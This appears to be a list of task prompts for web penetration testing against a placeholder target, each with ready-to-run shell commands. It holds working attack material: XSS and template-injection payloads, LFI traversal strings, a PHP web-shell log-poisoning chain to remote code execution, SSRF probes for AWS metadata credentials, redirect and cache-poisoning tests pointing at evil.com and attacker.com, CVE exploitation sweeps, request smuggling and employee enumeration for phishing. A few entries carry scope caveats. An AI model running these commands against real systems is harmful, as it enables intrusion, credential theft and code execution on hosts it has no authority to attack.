Collect every JavaScript URL from $TARGET's URL corpus: cat all-urls.txt | grep -Ei "\.js(\?|$)" | sort -u > js.txt Download them all with wget -i js.txt -P js-files/ and grep for API keys, tokens, and internal URLs.

Run SecretFinder against every $TARGET JavaScript file: cat js.txt | xargs -I % python3 SecretFinder.py -i % -o cli Filter false positives (test/example strings) and validate live keys against their respective APIs before reporting.

Rank $TARGET parameters by how often they appear across the URL corpus: cat all-urls.txt | grep -oE '\?[^ ]+' | tr '&' '\n' | cut -d= -f1 | sort | uniq -c | sort -rn | head -30 High-frequency parameters are usually well-tested — focus manual review on the tail (frequency 1-3).

Break down $TARGET URLs by file extension: cat all-urls.txt | grep -oE '\.[a-zA-Z0-9]{2,5}(\?|$)' | sort | uniq -c | sort -rn Report unusual extensions (.action, .do, .cgi, .cfm) — these often hint at legacy stacks with known CVE surface.

Test $TARGET profile fields for stored XSS: curl -s -X POST "https://HOST/profile" -H "Cookie: $C" -d 'bio=<img src=x onerror=alert(document.domain)>' curl -s "https://HOST/profile" -H "Cookie: $C" | grep -c "onerror=alert" Repeat across name, bio, website, and any rich-text fields. Verify context (raw HTML vs sanitized) for each hit.

Generate a proven XSS polyglot for $TARGET fuzzing: Use this payload for any reflection you find: jaVasCript:/*-/*\`/*\\`/*'/*"/**/(/* */oNcliCk=alert() )// Inject it into every reflected parameter and report the contexts where it fires.

Test $TARGET Angular endpoints for client-side template injection: cat urls.txt | qsreplace '{{constructor.constructor("alert(1)")()}}' | httpx -silent Identify Angular from tech fingerprints first, then confirm sandbox-escape execution manually in a browser.

Find postMessage handlers in $TARGET JavaScript for DOM XSS pivots: cat js.txt | xargs -I % curl -s % | grep -nE "addEventListener\(['\"]message['\"]|onmessage" | sort -u For each handler, check whether it validates event.origin — missing checks are exploitable via cross-window messaging.

Upload a malicious SVG to $TARGET's file upload endpoint: curl -s -X POST "https://HOST/upload" -F "file=@xss.svg" -H "Cookie: $C" | jq -r '.url' Request the returned URL and confirm the SVG executes JavaScript in the browser context of the app domain.

Bypass basic $TARGET LFI filters with double URL encoding: cat urls.txt | gf lfi | qsreplace "%252e%252e%252f%252e%252e%252fetc%252fpasswd" | httpx -silent -mr "root:x:0:0" Also try UTF-8 (%c0%ae) and null-byte (%00) suffixes; report which encoding wins per host.

Test $TARGET hosts for Host-header-based open redirects: cat live.txt | httpx -silent -H "Host: evil.com" -mr "evil.com" Also probe X-Forwarded-Host and X-Original-Host; some misconfigured backends use these to build redirect URLs.

Fuzz $TARGET OAuth-style redirect parameters for token theft: cat urls.txt | grep -iE "redirect_uri|returnTo|next=" | qsreplace "https://attacker.com" | httpx -silent -fr For apparent bypasses, walk the full OAuth handshake and report whether an authorization code leaks to the attacker origin.

Test $TARGET Windows hosts for LFI with backslash traversal: cat urls.txt | gf lfi | qsreplace "..\\..\\..\\..\\windows\\win.ini" | httpx -silent -mr "\[fonts\]" Any match confirms Windows LFI — report host, depth, and encoding used.

Chain $TARGET LFI to RCE via Apache access-log poisoning: curl -s "https://HOST/index.php?page=../../../../var/log/apache2/access.log" -A "<?php system($_GET['c']); ?>" curl -s "https://HOST/index.php?page=../../../../var/log/apache2/access.log&c=id" Report the id output as proof; do not execute anything destructive.

Test $TARGET Confluence instances for the OGNL RCE (CVE-2022-26134): cat live.txt | nuclei -id CVE-2022-26134 -silent For any hits, verify by requesting the harmless template execution endpoint from the template; never run destructive commands.

Check $TARGET Spring apps for Spring4Shell: cat live.txt | nuclei -id CVE-2022-22965 -silent Confirm results with a benign class-loader probe; report Java version and Spring version from response headers.

Discover $TARGET GraphQL endpoints and check whether introspection is enabled: cat live.txt | httpx -silent -path /graphql,/api/graphql -mc 200 For each candidate, POST an introspection query and report which expose the full schema — dump the schema for authorization review.

Sweep $TARGET edge-VPN gear for the CitrixBleed and Ivanti Connect Secure CVE families: cat live.txt | nuclei -tags citrix,ivanti -silent Report findings with CVE ID, affected version, and public exploit availability.

Fingerprint $TARGET GitLab installs and run all matching nuclei templates: cat live.txt | httpx -silent -td | grep -i gitlab | cut -d' ' -f1 | nuclei -tags gitlab -silent Cross-check reported GitLab version against known CVEs and rank by severity.

Blind-test $TARGET SSRF candidates with an interactsh callback: cat urls.txt | gf ssrf | qsreplace "http://YOUR.interact.sh" | httpx -silent Monitor the interactsh client for DNS/HTTP callbacks and correlate each to the source URL that triggered it.

Find exposed API documentation on $TARGET: cat live.txt | httpx -silent -path /swagger-ui.html,/swagger/v1/swagger.json,/openapi.json,/api-docs -mc 200 For hits, parse the schema and list any endpoints that lack security definitions — those are the first candidates for auth-bypass testing.

Probe $TARGET Spring Boot Actuator endpoints: cat live.txt | httpx -silent -path /actuator,/actuator/env,/actuator/heapdump,/actuator/mappings -mc 200 For any 200 on /env or /heapdump, describe the sensitive data exposed and remediation without downloading credentials in full.

Find public Prometheus metrics endpoints on $TARGET: cat live.txt | httpx -silent -path /metrics -mc 200 -mr "^# HELP" Summarize what internal information leaks (hostnames, versions, user counts) and rate the impact per host.

Detect exposed Kubernetes control planes on $TARGET: cat live.txt | httpx -silent -path /api/v1,/version,/apis -p 6443,8443,10250 Any 200 without auth or informative 403 messages indicates a misconfigured cluster — report cluster version if disclosed.

Find open Elasticsearch clusters on $TARGET: cat live.txt | httpx -silent -path /_cat/indices,/_cluster/health -mc 200 -mr "yellow|green" List exposed indices with document counts (never read documents) and report accessible clusters and versions.

Check $TARGET Jenkins instances for anonymous access: cat live.txt | httpx -silent -path /script,/computer,/manage -mc 200 -mr "Jenkins" Read-only confirmation: report accessible paths, Jenkins version from footer, and whether /script (Groovy console) responds.

Detect $TARGET hosts with WebDAV enabled: cat live.txt | httpx -silent -x PROPFIND -mc 207 -mr "multistatus" For hits, enumerate methods with OPTIONS; report PUT/DELETE availability as a potential upload/RCE path.

Test $TARGET hosts for accepted non-standard HTTP methods: cat live.txt | httpx -silent -x PUT,DELETE,PATCH,TRACE -json | jq -r 'select(.status_code != 405) | .url' Any non-405 response for PUT or DELETE warrants immediate investigation — report affected paths and status codes.

Test $TARGET single-use actions for race conditions: for i in {1..50}; do (curl -s -X POST "https://HOST/api/coupon" -H "Cookie: $C" -d 'code=WELCOME10' &); done; wait Count successful applications in the response set; more than one indicates a race worth reporting.

Run smuggler.py against every live $TARGET host: cat live.txt | smuggler.py -u - --test all Report confirmed CL.TE / TE.CL / TE.TE findings with server fingerprint and the exact desync payload used.

Probe $TARGET hosts for header-based cache poisoning: cat live.txt | httpx -silent -H "X-Forwarded-Host: evil.com" -mr "evil.com" Repeat with X-Host, X-Original-URL, and Forwarded; where responses reflect and are cacheable (long Age / public Cache-Control), report a poisoning primitive.

Brute-force mass-assignment fields on a $TARGET user endpoint: ffuf -u "https://HOST/api/user" -X POST -H "Content-Type: application/json" -d '{"FUZZ":"true"}' -w mass-assign-params.txt -mc 200 Inject candidates like isAdmin, role, verified — report any that persist on subsequent GETs.

Check $TARGET login endpoints for missing rate limiting (report only): for i in {1..20}; do curl -s -o /dev/null -w "%{http_code}\n" -X POST https://HOST/login -d "user=test&pass=wrong$i"; done | sort | uniq -c If all 20 return 200/401 with no 429 or lockout, report the absence of rate limiting. Do not perform real credential stuffing.

Test $TARGET GraphQL endpoints for query batching (rate-limit bypass surface): curl -s -X POST https://HOST/graphql -H "Content-Type: application/json" -d '[{"query":"{me{id}}"},{"query":"{me{id}}"}]' | jq If batched responses return, describe how it can defeat login rate limits and OTP verification counters.

Compare $TARGET's current JavaScript inventory to historical Wayback captures: waybackurls HOST | grep "\.js$" | sort -u > wb-js.txt; comm -13 <(sort js.txt) wb-js.txt > removed-js.txt Deleted files sometimes remain reachable — probe each with httpx and mine 200s for secrets.

Pivot $TARGET's favicon hash across Shodan to find sibling infrastructure: curl -s "https://HOST/favicon.ico" | md5sum shodan search "http.favicon.hash:<HASH>" --fields ip_str,hostnames Report hosts sharing the same favicon that aren't currently in scope but likely belong to the same org.

Assemble Google dorks to enumerate $TARGET employees for phishing risk-modeling: site:linkedin.com/in "ORGNAME" site:linkedin.com/in "ORGNAME" (engineer OR devops OR security) Output a table of dorks to run manually; do not scrape LinkedIn directly.

Brute common S3 bucket permutations for $TARGET: for env in dev staging prod backup assets media logs; do curl -s -o /dev/null -w "%{http_code} https://ORGNAME-$env.s3.amazonaws.com\n" "https://ORGNAME-$env.s3.amazonaws.com"; done 200 or 403 responses both indicate an existing bucket — report both cases.

Search public Postman workspaces for $TARGET API collections: curl -s "https://www.postman.com/_api/ws/proxy" -X POST -H "content-type: application/json" -d '{"service":"search","method":"POST","path":"/search-all","body":{"queryIndices":["collaboration.workspace"],"queryText":"HOST"}}' | jq Report public collections that leak internal endpoints, staging URLs, or bearer tokens.

Search Pastebin dumps for references to $TARGET: curl -s "https://psbdmp.ws/api/search/HOST" | jq -r '.data[]?.id' | head -20 Fetch each paste and grep for credentials, hostnames, and tokens. Report only verified leaks with redacted samples.

Probe $TARGET SSRF candidates for AWS metadata access: cat urls.txt | gf ssrf | qsreplace "http://169.254.169.254/latest/meta-data/" | httpx -silent -mr "ami-id|instance-id" Also try http://169.254.169.254/latest/meta-data/iam/security-credentials/; any credentials returned prove a critical SSRF. Report the endpoint without exfiltrating the keys.